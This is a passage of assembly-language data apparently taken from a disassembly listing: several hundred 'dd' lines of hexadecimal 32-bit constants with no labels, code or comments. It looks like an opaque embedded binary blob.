		dd 8A2158h, 93CA2A9Ah, 0A154EC1h, 50E428D1h, 9FFA1EE4h
		dd 1902897h, 0A074F05Ch, 806CB0C7h, 2651DBB0h, 0EEF30A2Ch
		dd 0F8D649C4h, 2185438h, 9BE7F165h, 77161820h, 5A2317AAh
		dd 204E1808h, 0CE0A101Fh, 20C3F02Dh, 8C133670h,	89F0DC11h
		dd 0DDD1140Ah, 0C529FC4h, 9F187039h, 0F25D9E0Ah, 2A05F45Eh
		dd 0FC405977h, 0E7BB023Ch, 0D00751D2h, 6FD4A6FEh, 0A190021h
		dd 21E822BBh, 0E2F4A5E4h, 9814D52Ah, 59C91A00h,	0AF91BF0Ch
		dd 6AC5002Ah, 0BCD7DD84h, 5D0A2367h, 907498DFh,	9A771A03h
		dd 2A593D62h, 0CC6AAAh,	85AEA4FAh, 83E8DC53h, 0D9950D1Ch
		dd 2F03C0AEh, 0F7BBD849h, 7BD65660h, 0F11F5AF7h, 4106DB4Eh
		dd 0CF7485F2h, 0B81E0EF9h, 5160699Eh, 0D1AE05BBh, 0D60D6D00h
		dd 3F914F08h, 0F6F40121h, 2590F2FDh, 401AC4FCh,	3DF72A09h
		dd 0F0C0016Eh, 0FE16DA73h, 54216007h, 2D5F3B29h, 38010841h
		dd 0F0EC2B1Ah, 11D52AFBh, 7428008Ch, 0D43CFA15h, 2100BA97h
		dd 0B8B693E6h, 793926FEh, 76FC0ACBh, 82885E92h,	19B058D1h
		dd 0C9C63440h, 24E0E720h, 8CCB7CAh, 5506A4F9h, 0CF97F5Ch
		dd 0BB9791F4h, 8B0C8518h, 5153772Dh, 0CA1A1268h, 1290C0A4h
		dd 72607393h, 2B308139h, 58C60071h, 0D95F94D3h,	72132157h
		dd 9805339Ch, 1481D2E4h, 51807076h, 0E2CF329Eh,	847322A6h
		dd 7F008071h, 4ED12148h, 13811F85h, 45F29CBCh, 8873296Ch
		dd 0E8049DA8h, 0E2F50298h, 69FC08C2h, 2181680Ch, 7998F03Ah
		dd 8BB33061h, 0AB16D31Eh, 0E71E01C1h, 20206D80h, 7DFC05FDh
		dd 88D5C472h, 9C49F34h,	0B0C873EFh, 11680256h, 9826A7EBh
		dd 29EFF048h, 14250D00h, 0C2DF214Bh, 23E4011Ch,	76DBD0E7h
		dd 1F49939Ch, 7AC65420h, 4AAF00D1h, 887F0403h, 0FF1855F3h
		dd 0BE69DE73h, 0B6F402AEh, 7408474Ah, 7300E064h, 0B8114CFFh
		dd 0B0302E49h, 527730D8h, 0F2530161h, 0D3630B00h, 0CAFBBB0Fh
		dd 0F1FE1425h, 417BE8DAh, 2BA400B7h, 828C718h, 4128076h
		dd 0E03A2054h, 661C6423h, 0EDBA7B80h, 6985DAh, 56187E2Bh
		dd 2D462835h, 0A3C5FD05h, 48C39EA0h, 0F6FC90ABh, 0B41952D4h
		dd 81FB8F00h, 3948D7BAh, 18E4BF58h, 712116D5h, 0C4F01F7Ah
		dd 0FA618069h, 0EA8CC9E8h, 0BAD11314h, 0F86A9C8Ch, 2390D901h
		dd 0F4AA8E8Dh, 303A33C4h, 0B929D874h, 0CA00E4C8h, 7769D2BFh
		dd 10D667Bh, 0E9239192h, 415E092Bh, 0E38CD6E8h,	1224CCD4h
		dd 0D9EC7571h, 0A89E2500h, 4163EC96h, 0A33D0076h, 1D0A8587h
		dd 0B01224FCh, 0A4205D55h, 426BCA7Ah, 0A26053C4h, 1E573064h
		dd 0D5BC5500h, 6054DEC8h, 0F4215819h, 40282D8Ah, 0F50698E4h
		dd 91400221h, 0EC3E076Fh, 0B00D498h, 4CBC58D3h,	0F2040C21h
		dd 0BD5FC1h, 700ED624h,	500C762Ch, 12F2DC96h, 20DF8FA9h
		dd 0AB985F20h, 3C44734Ah, 2D0B1EFDh, 5EDF1404h,	0B3B803C2h
		dd 746C6952h, 0CEF08C49h, 17530994h, 0B484D12Ch, 0E490896Eh
		dd 0C4AC2E09h, 4E770104h, 0BC800322h, 97AF195h,	7E58D796h
		dd 0AC056009h, 0C8C88BF9h, 4D63C023h, 5A00010Dh, 30B861E4h
		dd 165258F9h, 32AE10h, 0AB59F770h, 0D026F822h, 6580E895h
		dd 0FD30BAB6h, 6A643A04h, 1F58007Ch, 2FA1F8C3h,	0A898743Bh
		dd 0B0405242h, 2C00E56Bh, 0B102A925h, 22F50AFDh, 0F50E240h
		dd 38D4E2D5h, 0C8B8E01Ch, 0DA28B5Bh, 9A266C90h,	10962711h
		dd 0DD8B2B88h, 7782822Dh, 0A1D44969h, 43E405D9h, 0DC4507A8h
		dd 0D0E6710Ah, 8774B8DEh, 3E0AB1B0h, 98068C98h,	6BD4CF1Eh
		dd 80B01ACh, 5BB06313h,	38470425h, 784FF0FAh, 3F2E0B09h
		dd 98C854F1h, 7B583193h, 0B78640C2h, 941C3AC0h,	88458B18h
		dd 0F0102556h, 0FAFF81F4h, 0F8452601h, 0B5421827h, 75F04197h
		dd 8E1D4F10h, 8200AC0h,	28E92D67h, 2185425h, 28D0E6B3h
		dd 6C401A34h, 992053h, 6138ED8Fh, 66941CB3h, 1CFBBC8h
		dd 0C42B0C37h, 80C972E4h, 0B7AD1B29h, 1C0D01h, 6458E8F9h
		dd 0C63E493Dh, 0F7FE7D3Ah, 5DFBCCA0h, 8ADAFD0Fh, 0B4C79D4Ch
		dd 42C989F8h, 0F2BC4164h, 82CAB860h, 0CC209C1Ah, 9676FB9Ch
		dd 0C1115F65h, 0DA04E383h, 0B1C4473h, 78CB2647h, 24FD3400h
		dd 2CB86186h, 0C1FC2D4Ch, 76626E3Eh, 3CDE0D20h,	0D41854AEh
		dd 47026930h, 60D7CF00h, 46DA4D1Fh, 3E08003Ah, 6BFDFB7Eh
		dd 54AEA2Eh, 6C06A840h,	2E946803h, 0A9645C98h, 2EC300CCh
		dd 31D1261h, 6113D530h,	10C5F7Ch, 0A84C6442h, 0C0AE5BD4h
		dd 3A241547h, 0FC1188BAh, 61E8FE28h, 5F0278EEh,	8A80ED96h
		dd 0B5044DE9h, 0D287FA1Fh, 0C240A1C7h, 48844138h, 0ED2EF0ACh
		dd 6027C09Ch, 51465426h, 1D3DCD22h, 9C9A8430h, 98C3DF27h
		dd 10693C71h, 0F0B42484h, 7638B0C9h, 0D0DC302Ch, 27685884h
		dd 746688D0h, 0E751C0D6h, 0E40A4A51h, 61686200h, 1726FDD8h
		dd 82150033h, 53F31222h, 0B4045C24h, 3C2E353Eh,	0CA0850A6h
		dd 0BD816076h, 0FC5F5011h, 746BB041h, 0B023072h, 37AD4A1Bh
		dd 492B060h, 0FBEF5D06h, 0C16C74h, 7C0D809Ah, 6BAAEC57h
		dd 1CA09500h, 3AE8554Eh, 0C8BE012Eh, 28EB3619h,	75A422FBh
		dd 4C022B7Ch, 26200C49h, 50889174h, 0A14AE8CBh,	0E28F0042h
		dd 0BFF1B035h, 5031BF0h, 5CF821EBh, 8859480h, 0EE2DB420h
		dd 2C170E6h, 663E22C3h,	0A8AAA210h, 616D0488h, 5A3A8145h
		dd 9AA84146h, 66DFE1CAh, 12B2384h, 0F50498E6h, 886F18D2h
		dd 9800EE3Ch, 0E8F616C3h, 57406FDh, 775E0B83h, 1AAC406Ch
		dd 0E2C96DE9h, 0F2D83400h, 0EAB992E3h, 814705EDh, 40D773BEh
		dd 950A2CB4h, 80037C48h, 6AC5F078h, 0D601C070h,	0CB7D801Ch
		dd 903C45EAh, 270A00FBh
		dd 2F4AFAE9h, 0D8834CE5h, 0C5BF809h, 9A23CCB0h,	184E98B0h
		dd 0DE002Ch, 0AF2D9A2Ah, 0B2D2E841h, 0E11278B8h, 38025CF3h
		dd 2FDCC457h, 0FF2EAF20h, 8424773Ah, 0A03E5879h, 0D1870434h
		dd 0A4A1769Ch, 483A33F0h, 0C4294114h, 10C2B23h,	0BB0F74BBh
		dd 6711E4h, 0CABB091Ah,	305456h, 2177FDC1h, 852438Ch, 7864E630h
		dd 2098C7A0h, 50021C63h, 9028D916h, 0B7D032Eh, 982B20F7h
		dd 765A239Ch, 99F40407h, 0FC18B635h, 0B8B59EF0h, 6FC600F0h
		dd 0C1FB0321h, 20C3CC4Fh, 926EEF5Ch, 23209E28h,	6002B8B5h
		dd 5A748198h, 3AE90040h, 190130D0h, 6D262BA2h, 0BD069577h
		dd 0F1B275h, 0B5FF629h,	0FA4BFC0Dh, 550E2701h, 5AF417F5h
		dd 60EAAAE3h, 0E9F31997h, 7814F1C0h, 0EB240038h, 200FF44Bh
		dd 70E9F646h, 0FE07F7D0h, 2ED452FAh, 0F2EC7ED0h, 0F6391CF5h
		dd 105800F8h, 11610DFFh, 56F4091Fh, 0A3385B94h,	4F203CDBh
		dd 4618A574h, 513E08D6h, 0B0DCFAFEh, 0B54E340h,	77DF215h
		dd 5AF609EFh, 0CC868BD6h, 361E2811h, 40002FEAh,	34EFF307h
		dd 685B50D5h, 0EB313C16h, 384E6975h, 4E808D3h, 20ACD48Bh
		dd 7ADF9664h, 5E161C15h, 0B4640F58h, 0D6EF7FE0h, 0B7503460h
		dd 0F75A2DE0h, 859F1003h, 7EB6F350h, 28267818h,	5A08DA30h
		dd 420421Eh, 8097433h, 84022C38h, 427598EFh, 720C314Ch
		dd 8C0C88A3h, 9A3079F4h, 0A4ED3090h, 0A6185859h, 18922D79h
		dd 401614DFh, 7094560Bh, 0EF83FD03h, 0F1590A76h, 85789281h
		dd 81B540Bh, 0E477BA58h, 0CFF23BD2h, 0EFFF91Dh,	2FC1FAB0h
		dd 5C09ACB2h, 201801D6h, 10E798CCh, 5A28C382h, 0DA8BD2BAh
		dd 40C79FA1h, 9B76DB0Ch, 1442515Ah, 1B3048h, 542C5FFAh
		dd 0F4607A26h, 14887C3Eh, 52D25BE0h, 4E0BAB04h,	991001DEh
		dd 0A0F3F50Fh, 0DEEA085Ah, 66551D19h, 0A1F242D0h, 9AD95880h
		dd 59539625h, 2BE2A264h, 554A007h, 0BC8C5080h, 0F9058621h
		dd 0B8211399h, 80837CF3h, 75A9C65Bh, 0DFF2190Ah, 2C65F8F8h
		dd 5BF9E004h, 10695CC2h, 0A6203084h, 9740C6B6h,	2839C1D3h
		dd 228C53B8h, 40E48DD7h, 0D2FEBAFCh, 997C604Ch,	8809A598h
		dd 97B3D690h, 0C6145CF3h, 5173F066h, 585FF914h,	0F1EFC288h
		dd 82B4E2DFh, 22B70964h, 9493CF84h, 54514016h, 0C42F02Dh
		dd 73852558h, 99467180h, 0D7F3140Ch, 9AFB0B8Ch,	4204155Dh
		dd 8899D71Bh, 0F1E08A2Dh, 9A10F47Dh, 0A5C9C782h, 0F9B8402Ch
		dd 8A5A878h, 80A11328h,	8C997746h, 57F52F0Ch, 0CFFB48A4h
		dd 1591E20Ch, 5221A828h, 2B799162h, 0D29A80C6h,	540C3099h
		dd 5C8CA013h, 0FE9C9160h, 9CA87147h, 0DBB1C986h, 0D942A03Eh
		dd 829C18C4h, 742E1414h, 7421D6D8h, 61AB3874h, 1608E250h
		dd 5F72283Eh, 0BE7644E4h, 81DFA8A6h, 79D1730Ch,	0ABD8A69Eh
		dd 589BE430h, 934CD02Ah, 2846542Ch, 7EF623BEh, 0F1741895h
		dd 2442F8F3h, 0F78B77Bh, 1091337Ah, 0DC509950h,	30718A74h
		dd 7A560980h, 0FEDB55Ch, 9480CF83h, 38A97198h, 729C0482h
		dd 0B0813C51h, 1EC3C46Bh, 85FC5239h, 0E36C4B82h, 0D8AA3CE5h
		dd 0A28F3C38h, 0C29C1923h, 440B3A36h, 8F4F0168h, 0D13979D2h
		dd 7645E8F6h, 0FC19B100h, 85F56FAFh, 14771665h,	0CB890DDh
		dd 241DFE5Eh, 0F0FDFD05h, 2B4F7E7Ch, 32AFAC20h,	0F5EB0089h
		dd 0A90937Ch, 642E4A71h, 5B003AF1h, 9430E91Eh, 3DC43C5Fh
		dd 5622F282h, 8C5CFFD6h, 14207693h, 0BB232Bh, 0FCE153A3h
		dd 3B90F08Fh, 87DC071Fh, 50899E40h, 38FFDDh, 0DB8506D6h
		dd 10F40E6Ah, 6C0FBD06h, 22C0C7D3h, 6318DCDFh, 0F2692AD4h
		dd 0CC4C003Ah, 0E4D71304h, 891E484Dh, 9D809F90h, 64342CAFh
		dd 173F0BBh, 28D5C5DAh,	0DFE71029h, 85A899E0h, 9A76660Eh
		dd 30B196E2h, 8200307Dh, 8CA92D1Ah, 9324DA31h, 61E9005h
		dd 4BF7DE80h, 0A470BCh,	0BD332F4h, 0BDAC8BDCh, 4AE3A1Ch
		dd 672ECC40h, 6062C278h, 0F0DD3890h, 0DF000F6Eh, 1F883171h
		dd 3A495FC7h, 4680A295h, 8DEBFDFAh, 780E895Ch, 800DAFE8h
		dd 0DCD666C1h, 16AD0009h, 1EEB889Ch, 5140DB80h,	0E62E18A5h
		dd 55D41803h, 3093650Ch, 1F23A87Eh, 40A860F9h, 0D824127Fh
		dd 47588C9h, 27E9E30Ch,	11A01Fh, 0AD0D9A57h, 78646FAh
		dd 83302375h, 15064039h, 51D9600Bh, 59BFD2D7h, 54A1AA00h
		dd 6B719B83h, 6D1700DEh, 7BA001D9h, 0AA072114h,	182A29C3h
		dd 0A9DD24B0h, 0C56200FDh, 569991A8h, 0FB004AF2h, 0F1871ACDh
		dd 7C8F1EBDh, 59E30FCBh, 8400C006h, 0FC26BBF6h,	22BCD00Eh
		dd 2FBDA08Ah, 0AE570F75h, 30867814h, 0CB3025C3h, 8638B19h
		dd 0F68838h, 0C7F17658h, 0BB10872Ah, 994A1C1Dh,	0B901F83h
		dd 0F580F7CBh, 0C0492EC1h, 10842F18h, 8E0E28D0h, 9B20CB0Ch
		dd 0F8283A80h, 0D732D07h, 55940CCh, 78C32ECEh, 0C8322C2h
		dd 0CC067831h, 2429CD59h, 0FB940C8Ch, 0BEFC8084h, 0FF4871Ch
		dd 58B2FC6h, 0E3781E07h, 29FE23C7h, 161CFB01h, 5C92C8FDh
		dd 60152AF8h, 1F991861h, 0AA0C357Dh, 31F8FC5Fh,	261600E5h
		dd 9F972309h, 19C0289Ah, 81C60DACh, 9B140E6Ch, 578027DEh
		dd 5AB56889h, 0F447CBA0h, 9722FC01h, 0C2877CE5h, 6AFA5887h
		dd 81AF6056h, 1A2632D9h, 0C9302AB0h, 0FBBCC3Bh,	82A50304h
		dd 1A86F30Fh, 6F20A998h, 729F1DFFh, 7E67023Bh, 0C0E9C2Eh
		dd 0A119E1C0h, 0D6105718h, 68DF1C32h, 98010CE1h, 4134D831h
		dd 2C0719A0h, 8888257Dh, 3C3F5B7Fh, 0B9405458h,	2887F681h
		dd 4CE078F3h, 59C796B8h, 0BC0A1972h, 0C0083E0Ah, 0A0EFA986h
		dd 4B013030h, 7D0C2E59h, 9AC8CC50h, 409B4530h, 735E26h
		dd 0DB972171h, 604A12B4h, 0B0FBFC06h, 0F5106DAh, 736EA5BBh
		dd 799A2566h, 6CE45C06h, 303049ACh, 9CB99E03h, 0FCA8D815h
		dd 0A338BD7Fh, 0A426AA09h, 0E2F12F60h, 0A1118E16h, 0F18359F8h
		dd 92B5851Bh, 2A71310Ch, 0F75B8001h, 0A8A64C42h, 0A8088458h
		dd 0DC588E94h, 5C9811E1h, 0ADBF1001h, 61F33046h, 0F9683E30h
		dd 0BCFF18C5h, 23544C14h, 0B26411D8h, 5EA484E6h, 2B947923h
		dd 0C6880C21h, 0C4B8CC69h, 0BC41242h, 5C444862h, 0B5116143h
		dd 46AC82CBh, 0DC288715h, 1E9055C8h, 21D4F488h,	2444A509h
		dd 3FECCC23h, 0A2BCA110h, 1A64112Ah, 28B3A584h,	7C468438h
		dd 0AD0D9A1h, 14114721h, 9642ADA8h, 0EC425088h,	0E5881FFBh
		dd 9B09CEBFh, 6C445C92h, 4930DA4Ch, 20DC860h, 11F9E7F3h
		dd 870D6044h, 617072DEh, 8C4C40BEh, 0E703FF22h,	0EA7013E0h
		dd 0C584215h, 1E7CD726h, 2460203Eh, 66522E91h, 6CD64D7Dh
		dd 7E102F31h, 7B219319h, 92A88C44h, 28D2D0CCh, 8974162Ah
		dd 0BC32A950h, 0FB09B030h, 40C82194h, 4BB482AEh, 0A090B589h
		dd 98A66372h, 41C0F0A6h, 0B9E25C58h, 80B07601h,	21009BCCh
		dd 2DC80F8Eh, 3C9081Ch,	76F67828h, 0B9A38A23h, 0CCCF77A0h
		dd 93882900h, 0F4594565h, 76D107BDh, 121CC906h,	0C4C0BF05h
		dd 190FCAB9h, 9D770C81h, 0D1BE0D03h, 24102C80h,	20013EC4h
		dd 1AC4F285h, 0CCDC611Ch, 0B83CB988h, 3AFA3E78h, 3E60DC22h
		dd 0C909972Fh, 0BA0B0001h, 84494E24h, 81FB041Ah, 852FA7FDh
		dd 52EB420h, 1DCF074Eh,	0A91828FCh, 149A0B25h, 0A61A0E7Ch
		dd 9BB23AE4h, 0FDC1136Ch, 9D85D441h, 287089CEh,	0C25717ECh
		dd 8C50046Ch, 0FE8700B6h, 736416CCh, 0F352302Bh, 0AFF48280h
		dd 86B17003h
		dd 0B94E95FFh, 447057C8h, 843F8021h, 83C79D00h,	550CA0C0h
		dd 8518C125h, 0BE91FCA5h, 0D8292E70h, 0F30C4020h, 0E97C1A56h
		dd 0C09B1D81h, 0BE253CF1h, 4C162083h, 0C9E26AA0h, 7E7CE655h
		dd 2B8FE1B0h, 417C5BF2h, 64FDB4E4h, 2E16ACF4h, 78196B15h
		dd 26C85268h, 4EA980EBh, 0CAB1DC80h, 81BC74F8h,	459E6CE5h
		dd 1040BE60h, 9C4052FFh, 3D2E19ADh, 480E9023h, 0D952F3D4h
		dd 0A338818Ch, 301EBC2Bh, 0B91A804Fh, 88C850ECh, 0F8B903h
		dd 2EB1DBE1h, 0A9205F12h, 0AEF8FAh, 62D8405Ch, 524554E5h
		dd 8C59292Ch, 481EFE45h, 4E6A4832h, 9132782Ch, 62605C64h
		dd 431B0449h, 0B7F867h,	0B3E12592h, 19C4A29Ah, 28BEE504h
		dd 0E0B977h, 20C81EF8h,	2CBB1D8Dh, 80FB6578h, 0C5068964h
		dd 77F854B0h, 0EC6B3E00h, 0F58B2576h, 2CE305BDh, 30DE60AEh
		dd 0BE131544h, 75D93302h, 98D8DF0Ch, 0A569C04h,	7609DEFAh
		dd 208480Ch, 0BEFC814Fh, 31F10C85h, 49654630h, 95FCC008h
		dd 0CA28B086h, 74AC0E64h, 0CAB2F940h, 651C8209h, 0BE083274h
		dd 9648112Bh, 0E610345Bh, 52EA3AF8h, 79408C10h,	0D009C88Ch
		dd 82920B4h, 4042BF1h, 0F33B270h, 9C6E1302h, 43B25AC2h
		dd 1C3D0C90h, 50808CACh, 0F0356746h, 0A425289Ah, 229C50D3h
		dd 96449509h, 12988997h, 48922491h, 22949193h, 0AFAE44ADh
		dd 0A912B089h, 0AB48AA24h, 0A524AC91h, 0E953004Ah, 0E75842A8h
		dd 0F43DAE29h, 0FFB82719h, 9829844Bh, 0DD957504h, 0FC0A0008h
		dd 22DAB69Ah, 9572BF99h, 2A89FFF9h, 0B89FE058h,	25F27F01h
		dd 70DAC79Ah, 79C1D5D1h, 0A1C1DDE1h, 23C0E5F1h,	18CD7099h
		dd 407E26F9h, 1005A0Ah,	0F25FB894h, 25599A8Eh, 48354331h
		dd 0FF04A1FFh, 0AC2764D5h, 6C4AC088h, 0FC4DA7EBh, 0D6E18BE1h
		dd 0B0384AF1h, 220B852Ch, 0F10641A7h, 0EFA90C75h, 14EE4509h
		dd 0EA042F38h, 47FC0BAh, 1A9DBBDh, 0F3600C21h, 8B571644h
		dd 0D6BF4E21h, 36805734h, 0BBEF1A59h, 73DA1F5Ch, 0FDCD0C30h
		dd 0D8004218h, 1631FA6h, 50E5A575h, 0F8AE1CFCh,	2389026Fh
		dd 27D29F58h, 54062890h, 0CE44CBDh, 409AD55Bh, 0C172A9B9h
		dd 0ACF13881h, 1ED26CF0h, 74DF08Bh, 60FC45A2h, 0EC8E1CC6h
		dd 59009B78h, 851ABA0Fh, 74F29A0Bh, 20BE0066h, 1CABF678h
		dd 0C203078Ah, 56DA851Eh, 0C8FAE04Fh, 0F6573A2Dh, 0FC812B06h
		dd 0D87480BDh, 0FA0C6EF8h, 407628CAh, 5770078h,	0F6124BEh
		dd 40A422BDh, 761E2FF0h, 3900BBF2h, 901D9A99h, 0A6CA78F6h
		dd 66F11E30h, 852E0A0Dh, 0FA64611Ch, 3F5610C4h,	0CB0F1D8Bh
		dd 0AC0D0A2Fh, 55EC4860h, 0A4E8C797h, 84CB3783h, 570C71C0h
		dd 66BF18ACh, 8D0101A4h, 0D20C4DEEh, 0C230222Eh, 811CC910h
		dd 49EECCC4h, 2B15B2F0h, 38FD4Eh, 0CF601656h, 900E3AB2h
		dd 9420B910h, 4070A414h, 1B2FDFBh, 0C2D85FE3h, 0D0FA5A22h
		dd 0F8A88B15h, 0CF130C8Eh, 9C2A37EBh, 18AB00EBh, 459DE557h
		dd 0A7F0006Ah, 0CBB6FC4Dh, 2037715h, 0E852DCCh,	0F55FF08Ch
		dd 0A1009AC8h, 288360D8h, 0B30C44F1h, 0D09880C4h, 0C7017322h
		dd 0B88168Ah, 40302BC2h, 451524CCh, 76DD02A8h, 2066CBFDh
		dd 1DB26CA0h, 0CCF28A12h, 2250EC19h, 1A7B7423h,	9076E488h
		dd 5D04177Dh, 0DC3609h,	0CB108E30h, 95409D1h, 965520BBh
		dd 0B858AB98h, 3A812FBAh, 4E3FBE07h, 325A693h, 501CCBD0h
		dd 8F20C5C0h, 752F40C4h, 77D1C0C0h, 0E2DFAF1h, 2CC8021Ch
		dd 8C80109Ah, 88216593h, 23C20E05h, 70800C81h, 0E8C80559h
		dd 4877F043h, 0C60CA022h, 2E107828h, 1C608462h,	4AC4381h
		dd 24C20558h, 0D8C6AA85h, 79770E40h, 218C068Bh,	1B7876C8h
		dd 0D7D45A95h, 9894EC60h, 952EC1A0h, 0FAF7D059h, 8A1EF894h
		dd 1C17BE09h, 75E3D460h, 0D1BB1601h, 20603787h,	0C3FA6CD2h
		dd 0C121C71h, 0B8742FCEh, 74B08FABh, 0E355EEFDh, 21C7F884h
		dd 3E0F7A85h, 30617120h, 61BF058Bh, 70DC7F7Ch, 0D70C9ECFh
		dd 0EC360BF6h, 0C4201EBDh, 0C1F88E3Ch, 0E485232Ch, 6CFC1CE2h
		dd 9859580Ch, 0F58C2D0Fh, 3C851D9Dh, 2863203Ah,	204D772Ch
		dd 8C826C4h, 0C09FA19h,	94C4C2E2h, 72DC98E4h, 1EC0B22Dh
		dd 2EC1AE22h, 0DDB11D20h, 1C313E75h, 0F08B2E69h, 0CE825BBh
		dd 0C71F20B9h, 0F692C29h, 0B3809B3Ch, 34D84805h, 0B58D133h
		dd 0E8B1FD0h, 602CC73Eh, 0AE21E3B0h, 9018A6A8h,	0E0732F50h
		dd 60D70CB7h, 1684FD5Fh, 84206B5Bh, 43742C85h, 7CC4D3F5h
		dd 0E12C182Fh, 9E0580C8h, 0CB0F852Ch, 3F7D50B4h, 19ABF601h
		dd 60BB0575h, 0A75D0FD8h, 25C20264h, 0ABBDF885h, 50F86640h
		dd 0D1509Dh, 0D2A1E938h, 22C90B64h, 0CF2520B8h,	89F0D619h
		dd 44E00184h, 2813CAFCh, 3CC80F8Bh, 40D4B41Eh, 781D9F99h
		dd 2BC4D600h, 23C80B81h, 2EF6788Dh, 28C562Dh, 0C2FB5928h
		dd 0A6DA90E0h, 0D67C4875h, 2B50C082h, 21F26084h, 8A2DCEF6h
		dd 13BBFA3Ah, 50D21081h, 6C85BBDh, 688C4357h, 0EE674E17h
		dd 8059E00Ah, 0BB342F14h, 0EC853F25h, 4250F72Dh, 2F90F834h
		dd 90B8CC10h, 0F285939h, 0B90EF0BBh, 80614299h,	108A309Dh
		dd 72D10CC9h, 0BD21C1F1h, 0B782909h, 90117FBAh,	7430381Ch
		dd 0F160E0B6h, 1C0526Ah, 0FD6F0D1Fh, 0E061FB17h, 723A234Dh
		dd 507C7D24h, 22F21C01h, 56FB05F6h, 5AFF2080h, 610313F3h
		dd 0F1031AE8h, 0F8110F54h, 0F201A06Fh, 0A106F46Bh, 3F0D283h
		dd 30F31D50h, 1A183EFFh, 102228FDh, 263E0B74h, 13FE00F2h
		dd 1AC75D40h, 620C0F4h,	2FD5EE8h, 40C4D1E5h, 5F322A7h
		dd 0C307FF74h, 0C05CFB13h, 0DF036040h, 0C01D7C3Ah, 0FD55F210h
		dd 10F402Bh, 0F61FCCh, 6BFE4DF3h, 72F1F5F9h, 0F288D8B0h
		dd 5074F110h, 551D4D06h, 784011F9h, 56221CFBh, 51F507FEh
		dd 108539h, 6FED0280h, 57007B3Bh, 0EC1FFE61h, 6111C263h
		dd 0F1076040h, 0FFD09F02h, 3610183Ch, 64401E28h, 0A5EE96Ch
		dd 6D4058EDh, 0E86FC260h, 8C3635Ch, 3000712Dh, 4D3B5BF2h
		dd 0C46AECh, 0FF634010h, 0C26BF41Dh, 0BEE9027Ch, 78612988h
		dd 0F91D8124h, 0C354EF05h, 0CC22C807h, 0FD6B0EC0h, 0CD63F811h
		dd 1C017E8h, 54C054F0h,	0EB042F44h, 7A349C0h, 0E500DAD5h
		dd 662273E6h, 18C2FA67h, 295D85DDh, 0A20B7840h,	37EDB0Bh
		dd 300EE37Eh, 22214908h, 5000A270h, 62079092h, 182BAFh
		dd 98495E64h, 61CD60E2h, 35A0F806h, 1881659Bh, 89C0DD7Ch
		dd 0E00C219Fh, 380AF7A7h, 7AF000C2h, 723187DDh,	6F1DCC59h
		dd 0D2984B11h, 40299A48h, 0E618E461h, 0D7B825E7h, 0DEAC00A7h
		dd 0B06ECC5Bh, 0E20C7A05h, 20332FAEh, 165E0A60h, 78200D3Dh
		dd 288CDBBFh, 4688ECBCh, 0A26402D1h, 315EDB0Fh,	7C1E104Eh
		dd 126300A2h, 96F871E7h, 0D5F4AF49h, 0C9F1CC60h, 0A85CCEA8h
		dd 548BCF8Ch, 70AF981Fh, 1AEB2A0Dh, 21D100D4h, 0B2E3288Ah
		dd 0D60A3FF9h, 0A3B7D5EFh, 7CE28C20h, 352CD950h, 28F09952h
		dd 5922A002h, 5B16034Bh, 5356A841h, 0EC6D7800h,	0D530DF31h
		dd 1CB45082h, 3C775FEh,	0C55E7ABBh, 288C0853h, 0F1D68333h
		dd 89B76000h, 61CBB570h, 798C006Ch, 217FAAD7h, 3B0C1FD9h
		dd 885DC9BFh, 0FEAD069Ah, 78381D98h, 12673CA0h,	91583782h
		dd 4682ACBEh, 6BAB02BAh, 826D4C04h, 837F01B0h, 73F7858h
		dd 0BE9F3039h, 0A7B19003h, 0FD003654h, 2ABB29FBh, 6CD98h
		dd 6C87B333h, 7B9F77B4h
		dd 7FFEE40Dh, 0B882E0C1h, 3B17F605h, 0D99178BDh, 0D0AE6BACh
		dd 4F4F864h, 0AEA83C90h, 1D49147h, 78376F68h, 22418FCEh
		dd 4B0660C9h, 335C41F3h, 3A082343h, 0D10C2100h,	0D72542A0h
		dd 0FCBF489Eh, 80319210h, 0B13CAD43h, 0F4C348C6h, 60864DACh
		dd 0CE98F96Ch, 6502A937h, 0CBFE6167h, 0D2CC4135h, 0A2087918h
		dd 0C466DB08h, 711D4348h, 49F0EFA2h, 24D5B13Ah,	4489B89h
		dd 14594485h, 0D1A909A8h, 10A01775h, 59BDC43Bh,	4746FA0Fh
		dd 0BC81E00Eh, 232CEADh, 201C1F80h, 711074F3h, 8420B753h
		dd 8561BADCh, 0F1D18056h, 0BA26191Ah, 875F001Eh, 8B042263h
		dd 0CA18D547h, 0C029509Ah, 0FE5CEAAFh, 890C00D4h, 497633F3h
		dd 7024B6FCh, 0E6844CB1h, 9E01299Bh, 7A584Fh, 39601BD2h
		dd 40C94772h, 81084D00h, 2E1CFAD4h, 9E26333h, 2D210074h
		dd 8C3A8110h, 0E50CE75Eh, 58CF1BD6h, 0CDBF10DBh, 0FDC70F53h
		dd 0E294A301h, 1314C069h, 0B1C50AFCh, 21B05FCEh, 1871713Ch
		dd 0CF520A53h, 9CA01527h, 502B18E1h, 38B1E07Ch,	6C704803h
		dd 827FA293h, 177BB8h, 6272984Bh, 86A730CFh, 61865F7h
		dd 33FE9A7Dh, 0F800C837h, 0D061DDCCh, 61A2982Bh, 0AE6C3040h
		dd 0EB02EEA7h, 205C4810h, 699A0092h, 0FAC11A8h,	7B3DA547h
		dd 48E780AFh, 1446C361h, 319972E6h, 78601BFDh, 7EA98037h
		dd 0B23346A2h, 75980012h, 0E6B85D01h, 0AA2090C1h, 0A7255h
		dd 0CB9BEDF3h, 0DB36FD25h, 58E44F14h, 0F61474B4h, 0A2ECCDA3h
		dd 875C4022h, 1064607Dh, 523805D4h, 40A99F2Ch, 87006511h
		dd 0FC9D1C9Ah, 671D6199h, 9C0402F3h, 0EC006689h, 9DFA0FB2h
		dd 4FD77706h, 1C182AC2h, 5489E2C1h, 0EB18B404h,	0D4725166h
		dd 17A30B09h, 7D0803E3h, 0E6A90B4Ah, 409FCA77h,	85804411h
		dd 1D752407h, 4320FB0Eh, 919B0051h, 5ACAA5h, 14BBDECh
		dd 8C032CA7h, 5BBEE114h, 983928A0h, 0C7D1B060h,	58F8449Ah
		dd 0E710CC55h, 884C520Ah, 8101C07Dh, 0E446FACFh, 24007522h
		dd 327D8109h, 30B30E48h, 10B9579Ah, 35008E49h, 0CDB7DEF7h
		dd 244260D3h, 0C05C9741h, 63BBC7FAh, 1B442C92h,	87786Eh
		dd 53F97FECh, 0B5BA63CEh, 9A5CC51Fh, 59656130h,	0B7D116EBh
		dd 4FB40493h, 83E30035h, 140EFBECh, 18FA1EC2h, 0F5B7DB05h
		dd 0A184014Dh, 96CB97E6h, 10041E30h, 5035AA6h, 0ABCACC4Ch
